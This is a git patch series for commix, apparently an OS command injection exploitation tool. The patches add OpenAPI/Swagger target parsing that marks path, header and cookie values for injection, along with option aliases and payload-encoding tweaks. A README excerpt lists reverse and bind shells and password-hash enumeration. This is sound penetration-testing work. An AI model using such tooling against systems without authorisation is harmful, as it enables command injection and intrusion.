yüzeyi** - GET/POST parametreleri, HTTP başlıkları, çerezler ve JSON/XML istek gövdeleri; ayrıca CGI hedefleri için `shellshock` modülü. * **Etkileşimli kabuklar ve sömürü sonrası** - hedef üzerinde `os_shell`, yerleşik `reverse_tcp` ve `bind_tcp` modları, kurulan kabuk üzerinden dosya aktarımı (`download`/`upload`) ve geçerli kullanıcı, makine adı, yetkiler, sistem bilgileri, kullanıcılar ile parola özetlerinin numaralandırılması. Her bulgu `--proof` ile yeniden kanıtlanabilir; bu, kendi deneyini çalıştırır ve dökümü taramanın diğer çıktılarının yanına yazar. * **Filtre ve WAF atlatma** - birlikte kullanılabilen çok sayıda tamper betiği, belirlenimci bir sırayla uygulanır. -* **Esnek hedefleme** - tek bir URL, site taraması, HTML formları, sitemap, proxy günlüğü, çoklu hedef dosyası, ham HTTP istek dosyası veya `stdin` girdisi. +* **Esnek hedefleme** - tek bir URL, site taraması, HTML formları, sitemap, bir OpenAPI (Swagger) tanımı, proxy günlüğü, çoklu hedef dosyası, ham HTTP istek dosyası veya `stdin` girdisi. * **Kaldığı yerden devam eden taramalar ve makine tarafından okunabilir çıktı** - sonuçlar hedef bazında bir oturum dosyasında saklanır ve JSON olarak, test edilen her hedefi kapsayan bir CSV olarak veya taramanın HTTP trafiğinin HAR kaydı olarak dışa aktarılabilir. Bir taramanın çalıştırıldığı seçenekler profil olarak kaydedilip yeniden kullanılabilir. * **Geniş arka uç desteği** - PHP, Python, Perl, Ruby, ASP.NET, JSP ve CGI; hem Unix benzeri hem de Windows hedeflerine karşı çalışır - yüklerin nasıl farklılaştığı için bkz. [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance). diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 6c0cd9b6f9..7c0055d86e 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -345,6 +345,11 @@ def check_http_method(url): http_request_method = settings.HTTPMETHOD.GET elif menu.options.method: http_request_method = menu.options.method.upper() + # A target that arrived carrying a method of its own - a request file, a proxy log, an operation a + # specification describes - is asked the way it says to ask it. Worked out from whether it has a + # body instead, every method that is neither GET nor POST would be sent as one of those two. + elif settings.HTTP_METHOD: + http_request_method = settings.HTTP_METHOD.upper() elif isinstance(url, str) and settings.INJECT_TAG in url: http_request_method = settings.HTTPMETHOD.GET else: diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 576c77b591..1aa54e47fa 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1483,7 +1483,7 @@ def perform_checks(url, http_request_method, filename): # and more than one whitespace character is defined. Keep only one. if (settings.MULTI_TARGETS or settings.STDIN_PARSING) and \ len(settings.WHITESPACES) > 1: - settings.WHITESPACES = [_urllib.parse.quote(settings.SINGLE_WHITESPACE)] + settings.WHITESPACES = [settings.single_whitespace_for()] timesec = settings.TIMESEC diff --git a/src/core/main.py b/src/core/main.py index 5e4dbfe721..e7301c474b 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -379,7 +379,7 @@ def init_injection(url): # A whitespace chosen by a tamper suits the target it was chosen for, not the next one: start # from the default and let the tampers in use pick again, for this target's operating system. - settings.WHITESPACES = [_urllib.parse.quote(settings.SINGLE_WHITESPACE)] + settings.WHITESPACES = [settings.single_whitespace_for()] if menu.options.tamper: checks.perform_payload_modification(payload="") @@ -887,6 +887,11 @@ def run(): elif menu.options.requestfile or menu.options.logfile: parser.logfile_parser() + # A specification names its own targets, so it is read the way a request file is read. + if menu.options.openapi: + from src.core.parse import openapi + openapi.openapi_parser() + # Check if ".git" exists and check for updated version! if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START: update.check_for_update() diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 0c102ae71a..97d0dc333f 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -400,7 +400,6 @@ def page_for(holds): """ def _boolean_cmd_exec(url, cmd, cve, check_header): from src.core.techniques.boolean_based import bb_handler as bb - from src.core.techniques.boolean_based import bb_payloads as payloads settings.BOOLEAN_PRINTED_STATE = False diff --git a/src/core/options.py b/src/core/options.py index d43ae500ab..f74160c224 100644 --- a/src/core/options.py +++ b/src/core/options.py @@ -46,10 +46,10 @@ def validate(): # Check for missing mandatory option(s). if not settings.STDIN_PARSING and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ - menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard, \ + menu.options.requestfile, menu.options.sitemap_url, menu.options.openapi, menu.options.wizard, \ menu.options.update, menu.options.list_tampers)): if not menu.options.purge: - err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers or --purge). " + err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --openapi, --wizard, --update, --list-tampers or --purge). " err_msg += "Use -h for basic and -hh for advanced help." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit(settings.EXIT_FAILURE) @@ -343,6 +343,12 @@ def validate(): if menu.options.maxlen: settings.MAXLEN = menu.options.maxlen + for option, value in (("--openapi-base", menu.options.openapi_base), ("--openapi-tags", menu.options.openapi_tags)): + if value and not menu.options.openapi: + err_msg = "The '" + option + "' option requires the '--openapi' option." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + # Check if defined "--timesec" option. if menu.options.timesec != 0: settings.TIMESEC = menu.options.timesec @@ -412,7 +418,7 @@ def validate(): # Only a request carrying a body can be split into chunks. if menu.options.chunked and not any((menu.options.data, menu.options.requestfile, \ - menu.options.logfile, menu.options.forms)): + menu.options.logfile, menu.options.forms, menu.options.openapi)): err_msg = "The '--chunked' switch requires usage of POST data." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit(settings.EXIT_FAILURE) diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index b4f4e44bd0..46019889ea 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -258,6 +258,24 @@ def banner(): default=False, help="Parse and test forms on target URL (requires '--crawl').") +target.add_option("--openapi", + action="store", + dest="openapi", + default=None, + help="Derive target(s) from an OpenAPI (Swagger) specification (file/URL).") + +target.add_option("--openapi-base", + action="store", + dest="openapi_base", + default=None, + help="Base URL for a specification that names no host of its own.") + +target.add_option("--openapi-tags", + action="store", + dest="openapi_tags", + default=None, + help="Only derive target(s) from operations carrying these tag(s).") + target.add_option("-x", dest="sitemap_url", help="Parse target(s) from remote sitemap(.xml) file.") diff --git a/src/core/parse/openapi.py b/src/core/parse/openapi.py new file mode 100644 index 0000000000..35eaf1871e --- /dev/null +++ b/src/core/parse/openapi.py @@ -0,0 +1,523 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import re +import json + +from src.utils import settings +from src.core.parse import cmdline as menu +from src.thirdparty import six +from src.thirdparty.six.moves import urllib as _urllib + +try: + import yaml +except ImportError: + yaml = None + +""" +Targets described by an OpenAPI (Swagger) document. + +A target that ships a description of itself has already said what a crawl would have to discover: +every endpoint it serves, the method each answers to, and the shape of what it expects. The document +is read here as a generator of requests rather than as a contract to check - one concrete request is +built per operation, and an operation that cannot be built is skipped with a word about it, so a +loose or partial description still yields what it can. +""" + +MAX_REF_DEPTH = 25 +EXAMPLE_MAX_DEPTH = 8 +METHODS = ("get", "post", "put", "delete", "patch", "options", "head") +HEADER_NAME_REGEX = re.compile(r"\A[!#$%&'*+.^_`|~0-9A-Za-z-]+\Z") + +""" +The document, whichever of the two ways it is written in. +""" +def _load_spec(content): + try: + return json.loads(content) + except ValueError: + if yaml is None: + err_msg = "The provided OpenAPI (Swagger) specification is not JSON, and the optional 'pyyaml' " + err_msg += "module needed for the YAML form is not available." + raise ValueError(err_msg) + try: + return yaml.safe_load(content) + except Exception as err: + raise ValueError("it is neither valid JSON nor valid YAML (" + str(err) + ")") + +""" +What a '$ref' points at, followed until it names something real. +""" +def _resolve(spec, node, seen=None, depth=0): + seen = seen or set() + if isinstance(node, dict) and "$ref" in node: + ref = node["$ref"] + # Only a string names anything; anything else is a malformed reference and stands for nothing. + if not isinstance(ref, six.string_types): + return {} + if ref in seen or depth > MAX_REF_DEPTH: + return {} + if not ref.startswith("#/"): + warn_msg = "Skipping the external reference '" + ref + "', which is not part of this document." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return {} + seen = seen | set([ref]) + current = spec + for part in ref[2:].split("/"): + part = part.replace("~1", "/").replace("~0", "~") + if not isinstance(current, dict) or part not in current: + warn_msg = "Skipping the reference '" + ref + "', which points at nothing in this document." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return {} + current = current[part] + return _resolve(spec, current, seen, depth + 1) + return node + +""" +A value of the shape the document says to send. + +What is wanted here is something to inject into, not something to validate: a value the target will +accept far enough to run what it was given. What the document itself offers is taken first, and only +where it offers nothing is one made up from the type. + +Worked out once per reference and kept, because a large description reuses the same shapes across +thousands of operations, and made afresh each time the work would grow with the square of them. +""" +def _example(spec, schema, seen=None, depth=0, cache=None): + seen = seen or set() + if cache is None: + cache = {} + if depth > EXAMPLE_MAX_DEPTH: + return "1" + ref = schema.get("$ref") if isinstance(schema, dict) else None + if not isinstance(ref, six.string_types): + ref = None + if ref is not None and ref in cache: + return cache[ref] + + schema = _resolve(spec, schema or {}, seen, depth) + if not isinstance(schema, dict): + return "1" + + value = None + if "example" in schema: + value = schema["example"] + elif "const" in schema: + value = schema["const"] + elif "default" in schema: + value = schema["default"] + elif isinstance(schema.get("examples"), list) and schema["examples"]: + value = schema["examples"][0] + elif isinstance(schema.get("enum"), list) and schema["enum"]: + value = schema["enum"][0] + else: + combinator = next((_ for _ in ("allOf", "oneOf", "anyOf") if schema.get(_)), None) + if combinator: + if combinator == "allOf": + merged = {} + for sub in schema[combinator]: + part = _example(spec, sub, seen, depth + 1, cache) + if isinstance(part, dict): + merged.update(part) + value = merged if merged else _example(spec, schema[combinator][0], seen, depth + 1, cache) + else: + value = _example(spec, schema[combinator][0], seen, depth + 1, cache) + else: + declared = schema.get("type") + # A type may be given as a list, where what is wanted is the one that is not the absence of one. + if isinstance(declared, list): + declared = next((_ for _ in declared if _ != "null"), None) + if declared == "object" or ("properties" in schema and not declared): + properties = schema.get("properties") + value = dict((name, _example(spec, sub, seen, depth + 1, cache)) + for name, sub in (properties if isinstance(properties, dict) else {}).items()) + elif declared == "array": + value = [_example(spec, schema.get("items") or {}, seen, depth + 1, cache)] + elif declared in ("integer", "number"): + value = 1 + elif declared == "boolean": + value = True + elif declared == "string": + formats = {"uuid": "11111111-1111-1111-1111-111111111111", "date": "2020-01-01", + "date-time": "2020-01-01T00:00:00Z", "email": "a@b.co", "byte": "MQ=="} + value = formats.get(schema.get("format"), "1") + else: + value = "1" + + if ref is not None: + cache[ref] = value + return value + +""" +A value as it goes into a URL or a header, rather than as the document holds it. +""" +def _scalar(value): + if isinstance(value, bool): + return "true" if value else "false" + if isinstance(value, (int, float)): + return str(value) + if isinstance(value, six.string_types): + return value + try: + return json.dumps(value) + except TypeError: + return str(value) + +NO_EXAMPLE = object() + +""" +A value the document states outright, which is worth more than one worked out from the shape. +""" +def _explicit_example(spec, container): + if not isinstance(container, dict): + return NO_EXAMPLE + # Given as nothing is given as nothing, and the shape is asked instead. + if container.get("example") is not None: + return container["example"] + examples = container.get("examples") + if isinstance(examples, dict) and examples: + first = _resolve(spec, next(iter(examples.values()))) + if isinstance(first, dict) and first.get("value") is not None: + return first["value"] + return NO_EXAMPLE + +# A marker the document supplied is not a marker this run put there, so it is taken back out. +def _no_mark(text): + return text.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, "") + +# What cannot legally appear in a header, so that a document cannot write headers of its own. +def _header_clean(text): + return re.sub(r"[\x00-\x1f\x7f]", "", text) + +# Encoded so that a value cannot end the parameter it is part of and start another. +def _url_safe(value, safe=""): + try: + if isinstance(value, six.text_type): + value = value.encode(settings.DEFAULT_CODEC) + elif not isinstance(value, bytes): + value = str(value) + return _urllib.parse.quote(value, safe=safe) + except Exception: + return value + +""" +Where the described endpoints actually live. + +A document may say so itself, or say it only in part, or not at all - in which case the address it +was fetched from is what its paths hang off. +""" +def _base_url(spec, origin=None, servers=None): + base_path = spec.get("basePath") if isinstance(spec.get("basePath"), six.string_types) else "" + if base_path and not base_path.startswith("/"): + base_path = "/" + base_path + servers = servers if servers is not None else spec.get("servers") + if isinstance(servers, list) and servers and isinstance(servers[0], dict): + url = servers[0].get("url") + url = url if isinstance(url, six.string_types) else "" + variables = servers[0].get("variables") + if isinstance(variables, dict): + for name, meta in variables.items(): + meta = meta if isinstance(meta, dict) else {} + default = meta.get("default") + # Where no default is given, a value the document does allow beats one invented here. + if default is None: + enum = meta.get("enum") + default = enum[0] if isinstance(enum, list) and enum else "1" + url = url.replace("{" + name + "}", str(default)) + # An address given in full is used as it stands, host and all. + if re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): + return url.rstrip("/") + return ((origin.rstrip("/") if origin else "") + "/" + url.lstrip("/")).rstrip("/") + if spec.get("host"): + schemes = spec.get("schemes") + scheme = schemes[0] if isinstance(schemes, list) and schemes else "https" + return scheme + "://" + spec["host"] + base_path.rstrip("/") + return (origin.rstrip("/") if origin else "") + base_path.rstrip("/") + +""" +Every request the document describes, as this run would send it. + +Handed back as (url, method, data, headers, cookie), where a path, header or cookie value carries the +marker that makes it a place to test - those are where a described API puts the values it acts on, +and nothing else would find them. +""" +def openapi_targets(content, origin=None, tags=None): + tag_set = set(tags) if tags else None + + spec = _load_spec(content) + if not isinstance(spec, dict) or not isinstance(spec.get("paths"), dict) or not spec.get("paths"): + raise ValueError("it describes no paths") + + try: + root_base = _base_url(spec, origin) + except Exception: + root_base = origin.rstrip("/") if isinstance(origin, six.string_types) else "" + is_v2 = "swagger" in spec and "openapi" not in spec + targets = [] + cache = {} + + for path, item in (spec.get("paths") or {}).items(): + item = _resolve(spec, item) + if not isinstance(item, dict): + continue + shared = item.get("parameters") or [] + for method, operation in item.items(): + if str(method).lower() not in METHODS or not isinstance(operation, dict): + continue + if tag_set is not None and not (tag_set & set(_ for _ in (operation.get("tags") or []) if isinstance(_, six.string_types))): + continue + try: + # An operation may say where it lives, and what it says outranks what the path or the document says. + own_servers = operation.get("servers") or item.get("servers") + base = root_base + if own_servers: + try: + base = _base_url(spec, origin, own_servers) + except Exception: + base = root_base + + # The same parameter named twice is the operation's version of it. + params, seen = [], {} + for raw in ((shared if isinstance(shared, list) else []) + (operation.get("parameters") or [])): + resolved = _resolve(spec, raw) + if isinstance(resolved, dict) and resolved.get("name"): + key = (resolved.get("in"), resolved.get("name")) + if key in seen: + params[seen[key]] = resolved + continue + seen[key] = len(params) + params.append(resolved) + + url_path = path if isinstance(path, six.string_types) else str(path) + query, headers, form, cookies = [], [], [], [] + + for param in params: + if not isinstance(param, dict): + continue + location, name = param.get("in"), param.get("name") + if not name: + continue + if not isinstance(name, six.string_types): + name = str(name) + explicit = _explicit_example(spec, param) + if explicit is not NO_EXAMPLE: + value = _scalar(explicit) + else: + schema = param.get("schema") or {"type": param.get("type", "string")} + value = _scalar(_example(spec, schema, cache=cache)) + if location == "path": + # A value in the path is where a described API carries what it acts on, so it is marked. + url_path = url_path.replace("{" + name + "}", _url_safe(value) + settings.CUSTOM_INJECTION_MARKER_CHAR) + elif location == "query": + query.append(_url_safe(name, "[]") + "=" + _url_safe(value)) + elif location == "header": + header_name = _header_clean(name) + if header_name and HEADER_NAME_REGEX.match(header_name): + headers.append((header_name, _header_clean(_no_mark(value)) + settings.CUSTOM_INJECTION_MARKER_CHAR)) + elif location == "cookie": + cookie_name = _header_clean(name) + if cookie_name and HEADER_NAME_REGEX.match(cookie_name): + # Nothing that separates one cookie from the next, so the document cannot add any. + cookie_value = re.sub(r"[;,\s]", "", _header_clean(_no_mark(value))) + cookies.append(cookie_name + "=" + cookie_value + settings.CUSTOM_INJECTION_MARKER_CHAR) + elif location == "formData": + form.append(_url_safe(name, "[]") + "=" + _url_safe(value)) + + # What the path itself is written with, so a literal cannot end the URL early. + url_path = url_path.replace(" ", "%20").replace("?", "%3F").replace("#", "%23") + if url_path and not url_path.startswith("/"): + url_path = "/" + url_path + + url = base + url_path + if query: + url += "?" + "&".join(query) + + # Anything still written as a placeholder was never defined, and stands for a value. + url = re.sub(r"\{[^}]+\}", "1", url) + + if not re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): + warn_msg = "Skipping the '" + str(method).upper() + " " + str(path) + "' operation, which resolves to no " + warn_msg += "address - fetch the specification by URL, or give a base with '--openapi-base'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + continue + + data = None + body = _resolve(spec, operation.get("requestBody") or {}) + described = body.get("content") if isinstance(body, dict) else None + if isinstance(described, dict) and described: + media_types = [_ for _ in described if isinstance(_, six.string_types)] + picked = next((_ for _ in media_types if _ == "application/json" or _.endswith("+json") or "json" in _), None) \ + or ("application/x-www-form-urlencoded" if "application/x-www-form-urlencoded" in media_types else None) \ + or (media_types[0] if media_types else None) + if picked: + media_type = described[picked] if isinstance(described[picked], dict) else {} + example = _explicit_example(spec, media_type) + if example is NO_EXAMPLE: + example = _example(spec, media_type.get("schema") or {}, cache=cache) + if "json" in picked: + data = _no_mark(json.dumps(example, default=str)) + headers.append((settings.CONTENT_TYPE, "application/json")) + elif picked == "application/x-www-form-urlencoded" and isinstance(example, dict): + data = "&".join(_url_safe(name, "[]") + "=" + _url_safe(_scalar(value)) for name, value in example.items()) + headers.append((settings.CONTENT_TYPE, "application/x-www-form-urlencoded")) + elif isinstance(example, six.string_types): + # A body with no parameters of its own is tested whole. + data = _no_mark(example) + settings.CUSTOM_INJECTION_MARKER_CHAR + headers.append((settings.CONTENT_TYPE, picked)) + else: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Not building a '" + picked + "' body for the '" + str(method).upper() + " " + str(path) + "' operation." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + elif isinstance(operation.get("parameters"), list) or is_v2: + for param in params: + if isinstance(param, dict) and param.get("in") == "body": + example = _example(spec, param.get("schema") or {}, cache=cache) + data = _no_mark(json.dumps(example, default=str)) + headers.append((settings.CONTENT_TYPE, "application/json")) + + if data is None and form: + data = "&".join(form) + headers.append((settings.CONTENT_TYPE, "application/x-www-form-urlencoded")) + + targets.append((url, str(method).upper(), data, headers or None, "; ".join(cookies) if cookies else None)) + except Exception as err: + warn_msg = "Skipping the '" + str(method).upper() + " " + str(path) + "' operation (" + str(err) + ")." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + return targets + +""" +The document itself, from wherever it was pointed at. +""" +def _read_specification(): + location = menu.options.openapi + if re.match(r"(?i)\Ahttps?://", location): + info_msg = "Fetching the OpenAPI (Swagger) specification from '" + location + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: + response = _urllib.request.urlopen(location, timeout=settings.TIMEOUT) + content = response.read() + except Exception as err: + err_msg = "Unable to fetch the specification from '" + location + "' (" + str(err) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + if isinstance(content, bytes): + content = content.decode(settings.DEFAULT_CODEC, errors="replace") + # Fetched from somewhere, so that somewhere is what its own relative addresses hang off. + origin = None + matched = re.match(r"(?i)(https?://[^/]+)", location) + if matched: + origin = matched.group(1) + return content, origin + + location = os.path.expanduser(location) + if not os.path.isfile(location): + err_msg = "It seems the '" + location + "' file does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + if os.stat(location).st_size == 0: + err_msg = "It seems the '" + location + "' file is empty." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + info_msg = "Parsing the OpenAPI (Swagger) specification from '" + os.path.split(location)[1] + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + with open(location, encoding="utf-8-sig") as spec_file: + return spec_file.read(), None + +""" +Every operation the specification describes, made into the targets the rest of the run tests. +""" +def openapi_parser(): + from src.core.parse import request + + if menu.options.method: + warn_msg = "The '--method' option overrides the method every operation says it answers to." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + content, origin = _read_specification() + # What was given by hand says where the endpoints are, over anything the document works out itself. + if menu.options.openapi_base: + origin = menu.options.openapi_base.rstrip("/") + + tags = None + if menu.options.openapi_tags: + tags = [_.strip() for _ in re.split(r"[,;]", menu.options.openapi_tags) if _.strip()] + if tags: + info_msg = "Restricting extraction to the operations tagged: " + ", ".join(tags) + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + try: + described = openapi_targets(content, origin, tags) + except ValueError as err: + err_msg = "Unable to parse the OpenAPI (Swagger) specification (" + str(err) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # An API that says it expects to be authenticated, tested without anything to authenticate with, + # answers every request the same way and is reported as testing nothing. + if re.search(r"(?i)securitySchemes|securityDefinitions", content) and \ + not any((menu.options.auth_type, menu.options.auth_cred)) and \ + not (menu.options.headers and "authorization" in menu.options.headers.lower()) and \ + not (menu.options.cookie): + warn_msg = "The specification declares authentication, and none was provided. Requests are likely " + warn_msg += "to be refused - see '--auth-type'/'--auth-cred', '--cookie' or '--headers'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + targets, mutating = [], 0 + for url, method, data, headers, cookie in described: + if menu.options.scope and not re.search(menu.options.scope, url, re.I): + settings.SKIPPED_OUT_OF_SCOPE.append(url) + continue + if method not in ("GET", "HEAD", "OPTIONS"): + mutating += 1 + raw_headers = settings.END_LINE.LF.join(name + ": " + value for name, value in (headers or [])) + targets.append({ + "url" : url, + "method" : method, + "data" : data or "", + "host" : None, + "agent" : None, + "cookie" : cookie, + "referer" : None, + "auth_type" : None, + "auth_cred" : None, + "headers" : raw_headers, + "raw_headers" : raw_headers + }) + + if not targets: + warn_msg = "No usable target was derived from the specification." + if not menu.options.openapi_base: + warn_msg += " Where it names no host of its own, fetch it by URL or give a base with '--openapi-base'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + info_msg = "Derived " + str(len(targets)) + " target" + "s"[len(targets) == 1:] + " from the specification." + if settings.SKIPPED_OUT_OF_SCOPE: + info_msg += " Skipped " + str(len(settings.SKIPPED_OUT_OF_SCOPE)) + " out of scope." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + # Said plainly, because what is about to be sent is not all reading: these change what is there. + if mutating: + warn_msg = str(mutating) + " of them answer to a method that changes state (POST, PUT, PATCH, DELETE). " + warn_msg += "Testing those may create, alter or remove data on the target." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + settings.MULTI_REQUEST_TARGETS = targets + request.apply_target(targets[0]) + return targets + +# eof diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 314e953478..a086ce50c7 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -13,7 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -import os try: import concurrent.futures _THREADS_SUPPORTED = True diff --git a/src/core/requests/mining.py b/src/core/requests/mining.py index 7be19f57c2..afd247eefc 100644 --- a/src/core/requests/mining.py +++ b/src/core/requests/mining.py @@ -13,14 +13,12 @@ For more see the file 'readme/COPYING' for copying permission. """ -import os import re import random import string import difflib from src.utils import settings -from src.core.parse import cmdline as menu from src.thirdparty.six.moves import urllib as _urllib """ diff --git a/src/core/startup.py b/src/core/startup.py index d83129c9a1..785aee941a 100644 --- a/src/core/startup.py +++ b/src/core/startup.py @@ -82,7 +82,8 @@ def _time_limit_reached(signum, frame): # Treat non-interactive stdin as targets only without an explicit target; skip CI log pipes. if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), menu.options.ignore_stdin, "CI" in os.environ, - menu.options.url, menu.options.requestfile, menu.options.bulkfile, menu.options.logfile)): + menu.options.url, menu.options.requestfile, menu.options.bulkfile, menu.options.logfile, + menu.options.sitemap_url, menu.options.openapi)): settings.STDIN_PARSING = True except Exception as ex: if "fileno" in str(ex) and settings.STDIN_PARSING: diff --git a/src/core/techniques/boolean_based/bb_injector.py b/src/core/techniques/boolean_based/bb_injector.py index 416ed82ea5..a6a96c7df3 100644 --- a/src/core/techniques/boolean_based/bb_injector.py +++ b/src/core/techniques/boolean_based/bb_injector.py @@ -13,7 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -from src.utils import settings from src.core.requests import requests from src.core.controller import checks diff --git a/src/core/techniques/boolean_based/bb_payloads.py b/src/core/techniques/boolean_based/bb_payloads.py index b89c58ed9b..c008f4bfae 100644 --- a/src/core/techniques/boolean_based/bb_payloads.py +++ b/src/core/techniques/boolean_based/bb_payloads.py @@ -127,7 +127,6 @@ def get_length(separator, cmd, candidate_length, operator="-eq"): word = tb_payloads._output_word(cmd) var = settings.RANDOM_VAR_GENERATOR compare = _decide(separator, "${#" + var + "}" + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + str(candidate_length)) - inverted = {"-eq": "-ne", "-ge": "-lt", "-le": "-gt"}.get(operator, "-ne") if not _supported(separator): return "" @@ -152,7 +151,6 @@ def get_char(separator, cmd, num_of_chars, ascii_char, operator="-le"): qmarks = "?" * (num_of_chars - 1) var = settings.RANDOM_VAR_GENERATOR var_ordinal = "$(printf '%d' \"'${" + var + "}\")" - inverted = "-gt" if operator == "-le" else "-ne" compare = lambda expression, op: _decide(separator, str(ascii_char) + settings.SINGLE_WHITESPACE + op + settings.SINGLE_WHITESPACE + expression) if not _supported(separator): diff --git a/src/utils/settings.py b/src/utils/settings.py index cdd3991c78..d8c8b2ad91 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "172" +REVISION = "173" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -805,6 +805,21 @@ class OS(object): # The default whitespace, as a space - encoded with the rest of the payload at the end. WHITESPACES = [SINGLE_WHITESPACE] +""" +The one whitespace a run with several targets uses, chosen for what carries the payload. + +Where the carrier is URL-decoded by the target, the encoded form is what survives being spliced into +it. A JSON or XML body is not decoded, and there '%20' arrives as three characters rather than as the +space the command needs - so a body of that shape keeps the space it was written with. +""" +def single_whitespace_for(data=None): + from src.thirdparty.six.moves import urllib as _urllib + from src.core.controller import checks + body = data if data is not None else USER_DEFINED_POST_DATA + if body and (checks.is_JSON_check(body) or checks.is_XML_check(body)): + return SINGLE_WHITESPACE + return _urllib.parse.quote(SINGLE_WHITESPACE) + # Reference: http://www.w3.org/Protocols/HTTP/Object_Headers.html#uri URI_HTTP_HEADER = "URI" From 583e4955074b16a64d22141d8d0c2e4177089451 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 30 Sep 2026 06:40:19 +0300 Subject: [PATCH 0842/1023] Added aliases for common command-line options --- src/core/parse/cmdline.py | 21 +++++++++++++++++++++ src/utils/settings.py | 2 +- 2 files changed, 22 insertions(+), 1 deletion(-) diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 46019889ea..c58a6d6edb 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -1124,6 +1124,27 @@ def truncate_option_strings(self, *args): option.help = option.help.capitalize().replace("Show this help message and exit", "Show help and exit.") # Listed by its short form alone, the way every other switch is, while '--help' keeps working. option._long_opts = [] +""" +Spellings that are not commix's own, taken as the option they were meant to be. + +A command line is more often pasted than typed. A browser's "copy as cURL" writes '--data-raw', and +a hand that has used another tool writes the name it remembers - each of them naming something +commix has, under a name it does not. Rewritten here rather than refused, because refusing teaches +nothing the person did not already mean. +""" +ALIASED_OPTIONS = ( + ("--data-raw", "--data"), + ("--auth-creds", "--auth-cred"), + ("--drop-cookie", "--drop-set-cookie"), +) + +for _index, _argument in enumerate(sys.argv): + for _alias, _option in ALIASED_OPTIONS: + # Both the form that carries its value and the form whose value is the next argument. + if _argument == _alias or _argument.startswith(_alias + "="): + sys.argv[_index] = _argument.replace(_alias, _option, 1) + break + # The language is optional: '--eval' on its own stands for every one that is supported, and the # parser needs a value either way. for _index, _argument in enumerate(sys.argv): diff --git a/src/utils/settings.py b/src/utils/settings.py index d8c8b2ad91..1e34d409bb 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "173" +REVISION = "174" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 5efa88d798043c2488764ae54b1e9c938c9d7388 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 1 Oct 2026 09:10:18 +0300 Subject: [PATCH 0843/1023] Added new switch `--hpp` for sending a tested parameter twice, with the payload in the occurrence the target reads and a value a filter will accept in the one it inspects --- doc/CHANGELOG.md | 1 + 